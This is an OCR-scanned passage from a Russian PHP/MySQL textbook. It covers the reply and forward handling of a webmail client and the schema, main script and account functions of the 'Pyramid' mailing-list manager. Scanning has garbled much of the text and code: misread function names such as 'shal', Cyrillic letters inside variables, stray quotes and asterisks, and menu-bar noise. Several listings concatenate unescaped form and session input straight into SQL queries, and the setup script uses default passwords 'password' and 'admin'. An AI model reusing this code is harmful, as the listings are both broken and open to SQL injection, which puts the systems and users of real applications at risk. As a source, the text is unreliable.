Fte gcSt View Higtory Bookmarks Tods hep G • c Lj . ht^://localhost/phpmy'sd/29/fndex,php?acbon’=redY8smesa8®d>=62 Адресному: cop@list.ru ЛдресСС: Тема: Re: just example А по-русски слабо было написать? > Just example for tire chapter 29. Рис. 29.8. Можно ответить на сообщение или переслать его кому-нибудь еще Здесь вызывается функция send message О , которая осуществляет отправку сооб- щения. Ее код приведен в листинге 29.12. Листинг 29.12. Функция sendjnessage () из библиотеки mail_fns .php — эта функция отправляет введенное пользователем сообщение function send_message ($to, $сс, $subject, $message) { / / Отправляет одно сообщение электронной почты с помощью РНР if (!$conn->db_connect()) { return false; } $query = "select address from users where username=’".$_SESSION[’auth_user’]."’"; $result = $conn->query($query); if (!$result) { return false; } else if ($result->num_rows==0) { return false; } else { $row = $result->fetch_object(); $other = ’From: ’.$row->address; if (!empty($cc)) { $other.="\r\nCc: $cc"; } 634 Часть V. Реальные проекты на РНР и MySQL
if (mail($to, $subject, $message, $other)) { return true; } else { return false; } } } Как видите, здесь для отправки сообщения электронной почты используется функ- ция mail (). Однако сначала выполняется загрузка адреса электронной почты пользо- вателя из базы данных. Этот адрес будет помещен в поле “From” (“От”). Ответ или переадресация сообщения Опции Reply (Ответить), Reply АП (Ответить всем) и Forward (Переслать) выпол- няют отправку сообщений таким же образом, как и опция New Message. Отличия за- ключаются в том, что они частично заполняют форму сообщения перед ее выводом для пользователя. Давайте вернемся к рис. 29.8. Содержимое сообщения, на которое осуществляется ответ, выводится с отступом и его строки предваряются символом >. В начало строки Subject (Тема) помещается Re: (от “Replay” — “Ответить”). Опции Reply и Reply АП обеспечивают заполнение полей адреса получателя и темы, а также выводят текст предыдущего сообщения с отступом аналогичным образом. Все сказанное выше реализовано в коде третьего раздела сценария index.php: case ’reply-all’: //Установить значение переменной сс равным строке сс текущего сообщения if(!$imap) { '$imap = open_mailbox($_SESSION[’auth_user’], $_SESSION[’selected_account’]); } if($imap) { $header = imap_header($imap, $messageid); if($header->reply_toaddress) { $to = $header->reply_toaddress; } else { $to = $header->fromaddress; } $cc = $header->ccaddress; $subject = ”Re: ”.$header->subject; $body = add_quoting(stripslashes(imap_body($imap, $messageid))); imap—Close($imap); display_new_message_form($_SESSION[’auth_user’], $to, $cc, $subject, $body); } break; case ’reply’: // Установить значение переменной to равным полю reply-to // или from текущего сообщения if(!$imap) { $imap = open_mailbox($_SESSION[’auth_user’], $_SESSION[’selected_account’]) ; } Глава 29. Разработка службы веб-почты 635
if($imap) { $header = imap_header($imap, $messageid); if($header->reply_toaddress) { $to = $header->reply_toaddress; } else { $to = $header->fromaddress; } $subject = "Re: ".$header->subject; $body = add_quoting(stripslashes(imap_body($imap, $messageid))); imap_close($imap); display_new_message_form($_SESSION['auth_user’], $to, $cc, $subject, $body); } break; case 'forward*: // Установить значение переменной body равным телу текущего сообщения, // взятого в кавычки if(!$imap) { $imap = open_mailbox ($_SESSION [' auth_user' ], $_SESSION['selected_account']); } if($imap) { $header = imap_header($imap, $messageid); $body = add_quoting(stripslashes(imap_body($imap, $messageid))); $subject = "Fwd: ".$header->subject; imap_close($imap); display_new_message_form($_SESSION['auth_user'], $to, $cc, $subject, $body); } break; Каждая из рассмотренных опций создает соответствующие заголовки, реализует необходимое форматирование и вызывает функцию display_new_message () для вы- вода формы. На этом исчерпывается набор функциональных возможностей веб-приложения управления электронной почтой. Расширение проекта Как и в подавляющем большинстве учебных проектов, существует множество пу- тей расширения и совершенствования проекта. За образец можно взять используе- мую вами программу чтения электронной почты. Ниже перечислены некоторые по- лезные расширения проекта. Предусмотрите возможность регистрации пользователей на сайте. (Для это- го можно повторно использовать некоторые фрагменты кода, приведенного в главе 27.) 636 Часть V. Реальные проекты на РНР и MySQL
Добавьте возможность пользователям иметь несколько адресов. Многие пользователи имеют несколько адресов электронной почты, например, лич- ный и служебный. Можно предоставить им возможность применять несколько адресов за счет перемещения сохраненных адресов из таблицы пользователей в таблицу учетных записей. В таком случае потребуется внести изменения и в другие фрагмейты кода. Форма отправки сообщения должна будет содержать поле со списком, в котором можно выбирать используемый адрес. Добавьте возможность отправки, приема и просмотра сообщений с вложе- ниями. Если пользователи смогут отправлять вложения, потребуется преду- смотреть функции загрузки файлов, речь о которых шла в главе 19. Вопросы отправки почты с вложениями подробно рассматриваются в главе 30. Реализуйте функциональность адресной книги. Добавьте возможности чтения сетевых новостей. Чтение из NNTP-сервера с помощью IMAP-функций практически не отличается от чтения сообщений из почтового ящика. Достаточно лишь при вызове функции imap open () ука- зать другой номер порта и протокол. Вместо указания имени почтового ящика INBOX можно задать имя группы новостей, из которой и будет выполняться чте- ние. Если скомбинировать результат с функциями создания потоков из проек- та, представленного в главе 31, можно получить полноценное многопоточное веб-приложение чтения новостей. Что дальше В следующей главе мы рассмотрим еще один проект, связанный с электронной почтой. Это приложение будет выполнять отправку информационных бюллетеней на многие темы лицам, которые осуществили подписку на вашем сайте. Глава 29. Разработка службы веб-почты 637
30 Разработка диспетчера списков рассылки После того как мы встроили базу подписчиков в свой веб-сайт, было бы очень неплохо иметь возможность поддерживать с ними постоянный контакт, пе- риодически отправляя им информационные бюллетени. В этой главе мы реализуем интерфейс диспетчера списков рассылки. Некоторые диспетчеры списков рассылки позволяют каждому подписчику отправлять сообщения другим подписчикам. Наша программа будет представлять собой систему информационных бюллетеней, в ко- торой отправлять сообщения сможет только администратор. Давайте назовем ее “Пирамида” (“Pyramid-MLM”). Эта система должна быть похожей на множество других доступных на рынке про- грамм. Получить некоторое представление о стоящих перед нами задачах можно на сайте по адресу: http://www.topica.com Разрабатываемое нами приложение будет давать администратору возможность создавать несколько списков рассылки й отправлять информационные бюллетени от- дельно в каждый из этих списков. Приложение будет использовать загрузку файлов, чтобы администратор мог загружать текстовые и HTML-версии информационных бюллетеней, созданные заранее в автономном режиме. Другими словами, для созда- ния информационных бюллетеней администраторы могут пользоваться любыми про- граммами по своему выбору. Пользователи смогут подписываться на любые списки, представленные на нашем сайте, и выбирать, в какой форме они желают получать информационные бюллете- ни — простой текст или HTML-формат. В главе будут рассмотрены следующие темы. Загрузка множества файлов. Вложения почтовых сообщений и MIME-кодирование. Почтовые* сообщения в HTML-формате. Управление паролями без вмешательства со стороны пользователей. 638 Часть V. Реальные проекты на РНР и MySQL
Компоненты решения Мы планируем создать интерактивную систему компоновки и отправки инфор- мационных бюллетеней. Эта система должна позволять создание и рассылку поль- зователям различных информационных бюллетеней, а также предоставлять поль- зователям возможность подписываться на один или несколько информационных бюллетеней. При построении компонентов решения преследуются перечисленные ниже ос- новные цели. Администраторы должны иметь возможность настраивать и изменять списки рассылки. Администраторы должны иметь возможность рассылать информационные бюл- летени в текстовом и HTML-формате всем подписчикам в рамках одного спи- ска рассылки. Пользователи должны иметь возможность регистрироваться на сайте, а также вводить и изменять сведения о себе. Пользователи должны иметь возможность подписываться на любые списки, доступные на сайте. Пользователи должны иметь возможность отменять подписку на ранее подпи- санные списки рассылки. Пользователи должны иметь возможность сохранять свои предпочтения от- носительно получения информационных бюллетеней в формате HTML или в виде простого текста. В целях поддержания безопасности пользователи не должны иметь возмож- ность отправлять сообщения электронной почты в списки рассылки и видеть адреса электронной почты других подписчиков. Пользователи и администраторы должны иметь возможность просматривать информацию о списках рассылки. Пользователи и администраторы должны иметь возможность просматривать прошлые информационные бюллетени, отправленные в список рассылки (т.е. архив). Теперь, когда идея, лежащая в основе проекта, известна, можно приступать к разработке решения и его компонентов, таких как создание базы данных списков, подписчиков и заархивированных информационных бюллетеней; загрузка информа- ционных бюллетеней, которые были созданы в автономном режиме; отправка сооб- щений электронной почты с вложениями. Создание базы данных списков и подписчиков Для каждого пользователя системы в этом проекте мы планируем отслеживать его имя и пароль, а также перечень списков рассылки, на которые тот или иной пользо- ватель подписался. Кроме того, мы будем хранить предпочтения каждого пользовате- ля относительно получения сообщений в виде простого текста или же в HTML-фор- мате, чтобы ему можно было отправлять соответствующую версию информационного бюллетеня. Глава 30. Разработка диспетчера списков рассылки 639
В качестве администратора будет выступать пользователь, наделенный особыми правами по созданию новых списков рассылки и отправке в них информационных бюллетеней. Для системы такого рода весьма желательно поддерживать архив ранее отправ- ленных информационных бюллетеней. Подписчики могут не хранить предшествую- щие сообщения, тем не менее, вполне возможно, что со временем они захотят про- смотреть некоторые из них. Архив может также служить в качестве маркетингового инструмента, поскольку потенциальные подписчики будут иметь возможность по- смотреть, как в общем случае выглядят информационные бюллетени. Создание этой базы данных в среде MySQL и разработка PHP-интерфейса к ней не должно представлять собой ничего особо нового или сложного. Загрузка файлов Как уже упоминалось ранее, нам необходим интерфейс, который позволил бы ад- министратору отправлять информационные бюллетени. Тем не менее, мы еще ни- чего не сказали о том, как администраторы будут создавать эти самые бюллетени. Можно было бы предусмотреть форму, в которой администраторы смогли бы вводить или вставлять содержимое бюллетеня. Однако, памятуя о принципах дружественно- го пользовательского интерфейса, администраторам будет гораздо удобнее, если они смогут создавать бюллетени в предпочитаемом ими редакторе, а затем загружать ре- зультирующие файлы на веб-сервер. Помимо прочего, это должно упростить адми- нистраторам процедуру добавления изображений в информационный бюллетень, представленный в HTML-формате. Для решения очерченной задачи можно восполь- зоваться возможностью загрузки файлов, которая была описана в главе 19. Нам придется создать несколько более сложную форму, нежели те, которые при- менялись в предыдущих проектах. Напомним, что мы решили предоставить админи- страторам возможность загружать как текстовую, так и HTML-версию бюллетеня, а также любые изображения, встроенные в HTML-код. После того как информационный бюллетень успешно загружен, администратор должен иметь интерфейс, который бы позволил ему просмотреть бюллетень перед его отправкой. В результате администратор сможет удостовериться в корректности загрузки всех файлов. Следует отметить, что все эти файлы будут также сохраняться и в каталоге ар- хива, что даст возможность просматривать их в будущем. Доступ по записи в такой каталог должен быть открыт для пользователя, под именем которого выполняется веб-сервер. Сценарий загрузки будет предпринимать попытку сохранить бюллетень в каталог архива . /archive/, поэтому обязательно убедитесь в том, что упомянутый каталог создан, а полномочия на доступ к нему установлены корректно. Отправка сообщений электронной почты с вложениями В этом проекте мы хотели бы, чтобы в соответствии с предпочтениями пользо- вателей бюллетени можно было отправлять им в форме простого текста или в виде “украшенной” HTML-версии. Для отправки HTML-файла с внедренными в него изображениями потребуется определиться со способом отправки вложений. Простая РНР:функция mail () не обеспечивает удобной поддержки отправки вложений. Поэтому вместо нее мы будем использовать замечательный пакет Mail Mime из библиотеки PEAR, который был 640 Часть V. Реальные проекты на РНР и MySQL
разработан Ричардом Хейесом (Richard Heyes). Это пакет умеет обрабатывать HTML- вложения, поэтому он будет использоваться для вложения любых изображений, со- держащихся в HTML-файле. Инструкции по установке пакета Mail_Mime можно найти в приложении А, в раз- деле, посвященном инсталляции библиотеки PEAR. Обзор решения При написании кода этого проекта мы снова воспользуемся подходом, управляе- мым событиями, как это уже имело место в главе 29. Как и ранее, мы начинаем разработку с представления набора диаграмм, изобра- жающих последовательности действий, которые пользователь может выполнять в системе. В данном случае мы имеем три диаграммы, представляющие три различных набора взаимодействий пользователя с системой. Пользователь имеет право выпол- нять различные действия, когда он не зарегистрирован в системе, когда он зареги- стрирован в качестве рядового пользователя и когда он зарегистрирован в качестве администратора. Возможные действия показаны на рис. 30.1, 30.2 и 30.3, соответст- венно. На рис. 30.1 изображены действия, которые может предпринять незарегистриро- ванный пользователь. Легко заметить, что он может зарегистрироваться (если уже имеет учетную запись), создать учетную запись (если он ее еще не имеет) или про- смотреть списки рассылки, доступные для подписки (это является частью маркетин- говой тактики). Рис. 30.1. Незарегистрированный пользователь имеет доступ только к ограниченному набору действий Действия, которые пользователь может предпринять после регистрации, показа- ны на рис. 30.2. Пользователь может изменять параметры настройки своей учетной записи (адрес электронной почты и предпочтения), изменять свой пароль и изме- нять набор списков рассылки, на которые он подписался ранее. Действия, доступные для зарегистрированного в системе администратора, можно видеть на рис. 30.3. Как следует из этого рисунка, администратору доступно большин- ство действий, разрешенных для рядового пользователя, а также набор дополнитель- ных возможностей. Администратор может создавать новые списки рассылки, созда- вать новые сообщения для списков рассылки путем загрузки файлов и просматривать сообщения перед их отправкой. Глава 30. Разработка диспетчера списков рассылки 641
Рис. 30.2. После входа в систему пользователь может изменять свои предпочтения через набор опций Рис. 30.3. Администратору доступно множество дополнительных действий Поскольку приложение использует подход, управляемый событиями, основная часть приложения содержится в единственном файле index. php, который содержит вызовы множества библиотечных функций. Краткое описание файлов этого прило- жения приведено в табл. 30.1. Реализацию проекта мы начнем с создания базы данных, в которой будем хранить информацию о подписчиках и списках рассылки. 642 Часть V. Реальные проекты на РНР и MySQL
Таблица 30.1. Файлы приложения диспетчера списков рассылки Имя файла Тип Описание index.php Приложение Главный сценарий, реализующий приложение в целом. include_fns.php Функции Коллекция включаемых файлов для данного приложения. data_valid_fns.php Функции Коллекция функций для проверки вводимых данных. db_fns.php Функции Коллекция функций для подключения к базе данных mlm. mlm_fns.php Функции Коллекция функций, специфичных для данного приложения. output_fns.php Функции Коллекция функций для вывода HTML-содержимого. upload.php Компонент Сценарий, который управляет компонентом загрузки фай- лов со стороны администратора. Этот сценарий выделен в отдельный файл для упрощения поддержки должного уровня безопасности. user_auth_fns.php Функции Коллекция функций для аутентификации пользователей. create_database.sql SQL SQL-код для создания базы данных mlm и для создания веб- пользователя и пользователя с правами администратора. Создание базы данных Для целей этого приложения мы должны хранить следующую информацию. lists (списки) — списки рассылки, доступные для подписки. subscribers (подписчики) — пользователи системы и их предпочтения. sub lists (списки, на которые совершена подписка) — информация о списках, на которые подписались пользователи (отношение типа “многие ко многим”). mail (сообщения электронной почты) — информация об отправленных сообще- ниях электронной почты. images (изображения) — поскольку необходимо располагать возможностью от- правки сообщений электронной почты, состоящих из нескольких файлов (т.е. текста, HTML-кода и набора изображений), требуется также отслеживать, ка- кие изображения отправляются с каждым почтовым сообщением. SQL-код, с помощью которого создается эта база данные, показан в листинге 30.1. Листинг 30.1. create database. sql — SQL-код для создания базы данных mlm create database mlm; use mlm; create table lists ( listid int auto_increment not null primary key, listname char(20) not null, blurb varchar (255) ); Глава 30. Разработка диспетчера списков рассылки 643
create table subscribers ( email char (100) not null primary key, realname char(100) not null, mimetype char(l) not null, password char (40) not null, admin tinyint not null ); # хранит отношение между подписчиком и списком create table sub_lists ( email char(100) not null, listid int not null ) ; create table mail ( mailid int auto_increment not null primary key, email char(100) not null, subject char(100) not null, listid int not null, status char(10) not null, sent datetime, modified timestamp ); # хранит изображения, отправляемые в составе конкретного сообщения create table images ( mailid int not null, path char(100) not null, mimetype char(100) not null ); grant select, insert, update, delete on mlm. * to mlm@localhost identified by ’password’; insert into subscribers values (’admin@localhost’, ’Администратор’, ’H’, shal(’admin’), 1); Как обычно, этот SQL-код выполняется с помощью следующей командной строки: mysql -u root -р < create_database. sql При этом потребуется ввести свой пароль привилегированного пользователя (root). (Разумеется, этот сценарий можно выполнить, зарегистрировавшись под име- нем любого пользователя MySQL, обладающего соответствующими правами доступа; в данном случае права доступа пользователя root были указаны только ради просто- ты.) Прежде чем выполнять этот код, в нем следует изменить пароль для пользовате- ля mlm и администратора. Некоторые поля в этой базе данных требуют небольших дополнительных поясне- ний, поэтому давайте кратко ознакомимся с их назначением. 644 Часть V. Реальные проекты на РНР и MySQL
Таблица lists содержит поля идентификатора списка рассылки (listid) и его наименования (listname). Кроме того, в этой таблице содержится поле blurb, в ко- тором фиксируется описание самого списка рассылки. Таблица subscribers хранит адреса электронной почты (email) и реальные имена подписчиков (realname). В ней хранятся также их пароли password и флаги (admin), указывающйе, является ли данный пользователь администратором. В поле mime type хранится тип сообщений электронной почты, предпочитаемый данным пользователем. Он может иметь значение Н для HTML-варианта или Т для текстово- го варианта. Таблица sublists содержит адреса электронной почты (email) из таблицы subscribers и идентификаторы списков listid из таблицы lists. Таблица mail содержит информацию о каждом сообщении электронной почты, отправляемом в рамках системы. В ней хранится уникальный идентификатор (mailid), адрес электронной почты, откуда отправлено сообщение (email), строка темы сообщения (subject), а также идентификатор listid списка, в который оно было или будет отправлено. Фактический текст или HTML-код сообщения может быть большим файлом, поэтому архив собственно сообщений будет храниться вне базы данных. Кроме того, мы планируем отслеживать некоторую информацию об общем состоянии: отправлено ли сообщение (status), когда оно было отправлено (sent) и метку времени, указывающую время последнего изменения .этой записи (modified). И, наконец, таблица images используется для отслеживания любых изображений, связанных с сообщениями в HTML-формате. Эти изображения также могут оказаться достаточно большими, поэтому с целью повышения эффективности они будут хра- ниться вне базы данных. Вместо них мы будем отслеживать идентификаторы mai- lid, с которыми они связаны, путь path к месту реального хранения изображения и MIME-тип изображения mimetype, например, image/gif. В приведенном ранее SQL-коде, помимо таблиц, создается пользователь, от имени которого будет осуществляться подключение к системе, а также пользователь с права- ми администратора этого приложения. Архитектура сценария Как и ранее, в этом проекте используется подход, управляемый событиями. Основная часть приложения хранится в файле index. php. В этом сценарии можно выделись следующие четыре раздела. 1. Предварительная обработка: реализует обработку, которая должна быть выпол- нена до отправки заголовков. 2. Создание и отправка заголовков: создает и отправляет начало HTML-страницы. 3. Выполнение действия: отвечает на переданное событие. Как и в предыдущем примере, событие содержится в переменной $ action. 4. Отправка нижних колонтитулов. Большинство обработки выполняется внутри этого файла. Как упоминалось ра- нее, приложение использует также библиотеки функций, список которых можно най- ти в табл. 30.1. Полный текст сценария index.php приведен в листинге 30.2. Глава 30. Разработка диспетчера списков рассылки 645
Листинг 30.2. index.php — главный файл приложения “Пирамида” <?php у********************************************************************** * Раздел 1. Предварительная обработка *********************************************************************у include (’include_fns.php’); session_start(); $action = $_GET[’action’]; $buttons = array (); // Добавлять к этой строке, если что-то выполняется перед выводом заголовка $status = ' '; // Необходимо сначала обработать запросы на вход и выход из системы if(($_POST[’email’]) && ($_POST['password'])) { $login = login($_POST['email'], $_POST['password']); if($login == 'admin') { $status .= "<p style=\"padding-bottom: 50px\"> <strong>".get_real_name($_POST['email'])."</strong> успешно вошел в систему как <з!гопд>администратор</strong>.</р>"; $_SESSION['admin_user'] = $_POST['email']; } else if($login == 'normal') { $status .= "<p style=\"padding-bottom: 50px\"> <strong>".get_real_name($_POST['email'])."</strong> успешно вошел в систему.</p>"; $_SESSION['normal_user'] = $_POST['email']; } else { $status .= "<p style=\"padding-bottom: 50рх\">Извините, вход в систему с данным адресом электронной почты и паролем невозможен.</р>"; } } if($action == 'log-out') { unset($action) ; $_SESSION=array(); session_destroy() ; } y*******************o**********************o************************* * Раздел 2 . Формирование и вывод заголовков ************************************************о*******************у // Настроить кнопки, которые будут отображаться в панели инструментов if(check_normal_user()) { // Для рядового пользователя $buttons[0] = 'change-password'; $buttons[l] = 'account-settings'; $buttons[2] = 'show-my-lists'; $buttons[3] = 'show-other-lists'; $buttons[4] = 'log-out'; } else if(check_admin_user ()) { 646 Часть V. Реальные проекты на РНР и MySQL
/ / Для администратора $buttons[0] = ’change-password’; $buttons[l] = ’create-list’; $buttons[2] = ’create-mail’; $buttons[3] = ’view-mail’; $buttons[4] = ’log-out’; $buttons[5] = ’show-all-lists’; $buttons[6] = ’show-my-lists’; $buttons[7] = ’show-other-lists’; } else { // Если вход в систему еще не совершен $buttons[0] = ’new-account’; $buttons[l] = ’show-all-lists’; $buttons[4] = ’log-in’; if($action) { // Вывести заголовок с именем приложения и описанием страницы или действия do_html_header(’Пирамида - ’.format_action($action)); } else { // Вывести заголовок только с именем приложения do_html_header(’Пирамида’); } display_toolbar($buttons); // Вывести любой текст, сгенерированный функциями, которые вызваны до заголовка echo $status; * Раздел 3. Выполнение действия *********************************************************************/ //До входа в систему доступны только эти действия switch ($action) { case ’new-account’: // Избавиться от переменных сеанса session_destroy(); display_account_form(); break; case ’store-account’: if (store_account($_SESSION[’normal_user’], $_SESSION[’admin_user’], $_POST)) { $action = ’ ’ ; } if(!check_logged_in()) { display_login_form($action); } break; case ’log-in’: case ’’ : if(!check_logged_in()) { display_login_form($action); } break; Глава 30. Разработка диспетчера списков рассылки 647
case ’show-all-lists’: display_items('Все списки’, get_all_lists (), ’information’, 'show-archive break; case ’show-archive’: display_items(’Архив для ’.get_list_name($_GET[’id']), get_archive($_GET['id']), ’view-html’, ’view-text’, ’’); break; case ’information’: display_information($_GET[’id’]); break; } // Все другие действия требуют входа в систему if(check_logged_in()) { switch ($action) { case ’account-settings’: display_account_form(get_email(), get_real_name(get_email()), get_mimetype(get_email ())); break; case ’show-other-lists’: display_iterns('Неподписанные списки’, get_unsubscribed_lists(get_email ()), ’information', ’show-archive’, 'subscribe'); break; case ’subscribe’: subscribe(get_email (), $_GET[’id’]); display_items(’Подписанные списки’, get_subscribed_lists(get_email()), ’information’, ’show-archive’, ’unsubscribe’); break; case ’unsubscribe’: unsubscribe (get_email () , $_GET [.' id’ ] ) ; display_iterns(’Подписанные списки', get_subscribed_lists(get_email()), 'information', 'show-archive', 'unsubscribe'); break; case '': case 'show-my-lists': display_iterns('Подписанные списки', get_subscribed_lists(get_email()), 'information', 'show-archive', 'unsubscribe'); break; case 'change-password': display_password_form (-) ; break; case 'store-change-password': if(change_password(get_email (), $_POST['old_passwd'], $_POST['new_passwd'], $_POST['new_passwd2'])) { echo "<p style=\"padding-bottom: 50px\">OK: Пароль изменен.</p>"; } else { 648 Часть V. Реальные проекты на РНР и MySQL
echo *’<p style=\"padding-bottom: 50рх\’’>Извините, ваш пароль не может быть изменен.</р>"; display_password_form(); } break; } } // Следующие действия доступны только администратору if(check_admin_user()) { switch ($action) { case ’create-mail’: display_mail_form(get_email()); break; case ’create-list’: display_list_form(get_email()); break; case ’store-list’: if(store_list($_SESSION[’admin_user’], $_POST)) { echo "<p style=\"padding-bottom: 50рх\’’>Новый список добавлен.</р>"; display_items(’Все списки’, get_all_lists(), ’information’, ’show-archive’,’’); } else { echo "<p style=\"padding-bottom: 50px\"> Невозможно создать список. Пожалуйста, повторите попытку.</р>"; } break; case ’send': send($_GET[’id’], $_SESSION[’admin_user’]); break; case ’view-mail’: display_items(’Неотправленные сообщения’, get_unsent_mail(get_email ()), ’preview-html’, ’preview-text’, ’send’); break; } } В листинге легко заметить ранее упомянутые четыре раздела кода. На этапе пред- варительной обработки создается сеанс и реализуются действия, которые должны быть выполнены до отправки заголовков. В данном случае в их число входят регист- рация и выход из системы. На этапе обработки заголовков создаются кнопки меню, которые будет ви- деть пользователь, и с помощью функции'do html header () из библиотеки output fns .php отображаются соответствующие заголовки. Эта функция всего лишь выводит строку заголовка и меню, поэтому подробно ее рассматривать мы не будем. Глава 30. Разработка диспетчера списков рассылки 649
В основном разделе сценария мы реализуем ответ на инициированные пользо- вателем действия. Эти действия разделены на три поднабора: действия, которые могут выполняться, когда пользователь еще не вошел в систему; действия, кото- рые могут выполняться рядовыми пользователями; действия, которые могут вы- полняться пользователями, обладающими правами администратора. Возможность доступа к последним двум поднаборам действий проверяется с помощью функций check logged in () и check admin user (). Эти функции определены в библиотеке user fns .php. Их код, а также код функции check normal user (), можно найти в листинге 30.3. Листинг 30.3. Функции из библиотеки user_auth_fns .php — эти функции проверяют, зарегистрирован ли пользователь, и если да — то на каком уровне function check_normal_user() { // Определяет, вошел ли пользователь в систему, и уведомляет его, если это не так if (isset($_SESSION['normal_user’])) { return true; } else { return false; } } function check_admin_user() { // Определяет, вошел ли администратор в систему, и уведомляет, если это не так if (isset($_SESSION[’admin_user’])) { return true; } else { return false; } } function check_logged_in() { return (check_normal_user() || check_admin_user()); I Как видите, для проверки, вошел ли пользователь в систему, в этих функциях ис- пользуются переменные сеанса normal user и admin user. Установка этих перемен- ных сеанса рассматривается несколько позже. В заключительном разделе сценария мы отправляем нижний HTML-колонтитул, ис- пользуя для этой цели функцию do html footer () из библиотеки output fns .php. Давайте кратко рассмотрим действия, которые пользователь может инициировать в системе. Все возможные действия перечислены в табл. 30.2. Следует отметить, что действие store-mail, которое фактически загружает информационные бюллетени, введенные администраторами с помощью действия create-mail, в этой таблице не присутствует. Это единственное действие, которое в действительности реализовано в другом файле — upload.php. Мы намеренно по- местили его в другой файл, поскольку это упрощает решение проблем, связанных с безопасностью. Ниже мы обсудим реализацию всех действий в соответствии с тремя группами, перечисленными в табл. 30.2, т.е. действия, выполняемые пользователями, которые не вошли в систему; действия, выполняемые пользователями, которые вошли в систе- му; действия, выполняемые администраторами. 650 Часть V. Реальные проекты на РНР и MySQL1
Таблица 30.2. Возможные действия в приложении диспетчера списков рассылки Действие Кто может выполнять Описание log-in Любой пользователь Отображает пользователю форму входа в сис- тему. log-out * Любой пользователь Завершает сеанс. new-account Любой пользователь Создает новую учетную запись пользователя. store-account Любой пользователь Сохраняет подробную информацию по учетной записи. show-all-lists Любой пользователь Отображает список доступных списков рассылки. show-archive Любой пользователь Отображает заархивированные информационные бюллетени для конкретного списка рассылки. information Любой пользователь Отображает основные сведения о конкретном списке рассылки. account-settings Зарегистрированный пользователь Отображает параметры настройки учетной за- писи пользователя. show-other-lists Зарегистрированный пользователь Отображает списки рассылки, на которые пользователь не подписался. show-my-lists Зарегистрированный пользователь Отображает списки рассылки, на которые пользователь подписался. subscribe Зарегистрированный пользователь Выполняет подписку на конкретный список рассылки. unsubscribe , Зарегистрированный пользователь Отменяет подписку на конкретный список рас- сылки. change-password Зарегистрированный пользователь Отображает форму для изменения пароля. store-changepassword Зарегистрированный пользователь Обновляет пароль пользователя в базе данных паролей. create-mail Администратор Отображает форму для загрузки информаци- онных бюллетеней. create-list Администратор Отображает форму для создания новых спи- сков рассылки. store-list Администратор Сохраняет сведения о списке рассылки в базе данных. view-mail Администратор Отображает информационные бюллетени, ко- торые были загружены, но еще не отправлены. send Администратор Отправляет информационные бюллетени под- писчикам. Глава 30. Разработка диспетчера списков рассылки 651
Реализация процедуры входа в систему Весьма желательно, чтобы новые пользователи, посещающие сайт, выполнили три действия. Во-первых, посмотрели на то, что им предлагается; во-вторых, зареги- стрировались на сайте; в-третьих, вошли в систему. Давайте по очереди рассмотрим эти три действия. На рис. 30.4 показано окно, отображаемое при первом посещении сайта. Создание учетной записи и вход в систему будут рассмотрены в этом разделе, а к просмотру сведений о списке рассылке мы вернемся в разделах “Реализация функций пользователя” и “Реализация функций администратора” далее в этой главе. 1 ® Fte Edit Vte® Hstory Bookmarks Tools Help * C J http: ,/tocaihost/pl^mysqi/30/index.php Пирамида Адрес электронной почты Рис. 30.4. При первом посещении пользователи могут создать новую учетную запись, просмотреть доступные списки рассылки или просто войти в систему Создание новой учетной записи Когда пользователь выбирает пункт меню New Account (Новая учетная запись), инициируется действие new-account. В результате активизируется следующий фраг- мент кода из сценария index. php: case ’new-account’: // Избавиться от переменных сеанса session_destroy(); display_account_form(); break; По сути дела, этот фрагмент кода осуществляет выход пользователя из системы, если он ранее в нее вошел, и отображает форму сведений по учетной записи, пока- занную на рис. 30.5. 652 Часть V. Реальные проекты на РНР и MySQL
^Пирамида-Rew Account Mozrfla Firefox -.-..-A j&feHEB Fife gdft View Hfetory Bookmarks Toois Help MW ’ 0 http: Axa^t^)hpmys^/30/hdex.ptip?artw>«new-acaxjnt Ф Пирамида - New Account Реальное имя Адрес электронной почты Требуемый формат сообщений: только текст - Рис. 30.5. Форма создания новой учетной записи дает пользователям возможность ввести необходимые детали Эта форма генерируется функцией display_account_form() из библиотеки output fns .,php. Упомянутая функция используется как в данном действии, так и в действии по настройке параметров учетной записи для вывода формы, в которой пользователь может настраивать учетную запись. Если функция вызывается при об- работке действия по настройке учетной записи, форма будет заполняться существую- щими данными учетной записи пользователя. В данном случае форма пуста и готова для ввода детальной информации о новой учетной записи. Поскольку эта функция выводит только HTML-код, она не рассматривается подробно. Кнопка отправки этой формы инициирует действие store-account, которое об- рабатывается следующим фрагментом кода: case ’store-account’: if (store_account($_SESSION[’normal_user’], $_SESSION[’admin_user’], $_POST)) { $action = ’ ’; } if(!check_logged_in()) { display_login_form($action) ; } break; Функция store account о сохраняет сведения об учетной записи в базе данных. Код этой функции можно найти в листинге 30.4. Глава 30. Разработка диспетчера списков рассылки 653
Листинг 30.4. Функция store_account() из библиотеки mlm_fns.php — эта функция добавляет нового пользователя в базу данных или изменяет информацию о существующем пользователе function store_account($normal_user, $admin_user, $details) { // Добавляет в базу данных нового подписчика либо дает возможность // пользователю изменить ранее введенную информацию if(!filled_out($details)) { echo "<р>Необходимо заполнить все поля. Повторите попытку.</р>"; return false; } else { if(subscriber_exists($details[’email’ ] ) ) { // Проверить, изменяется ли информация именно для того пользователя, // который вошел в систему if(get_email() -$detaiIs[’email’]) { $query = ’’update subscribers set realname = .$details[realname]."’, mimetype = ’".$details[mimetype]. where email = $details [email] ; if($conn=db_connect()) { if($conn->query($query)) { return true; } else { return false; } } else { echo "<р>Невозможно сохранить изменения.</p>”; return false; } } else { echo ”<р>Извините, этот адрес электронной почты уже зарегистрирован.</р>"; echo ”<р>Для изменения настроек вы должны войти в систему с использованием этого адреса.</р>"; return false; } } else { / / Новая учетная запись $query = "insert into subscribers values (’".$details[email], ’".$details[realname]., ’ ’’. $details [mimetype] . ’” , shal(’".$details[new_password]. ’” ), 0) ”; if($conn=db_connect ()) { if($conn->query($query)) { return true; } else { return false; } } else { echo "<р>Невозможно сохранить информацию о новой учетной записи.</р>"; return false; } 654 Часть V. Реальные проекты на РНР и MySQL
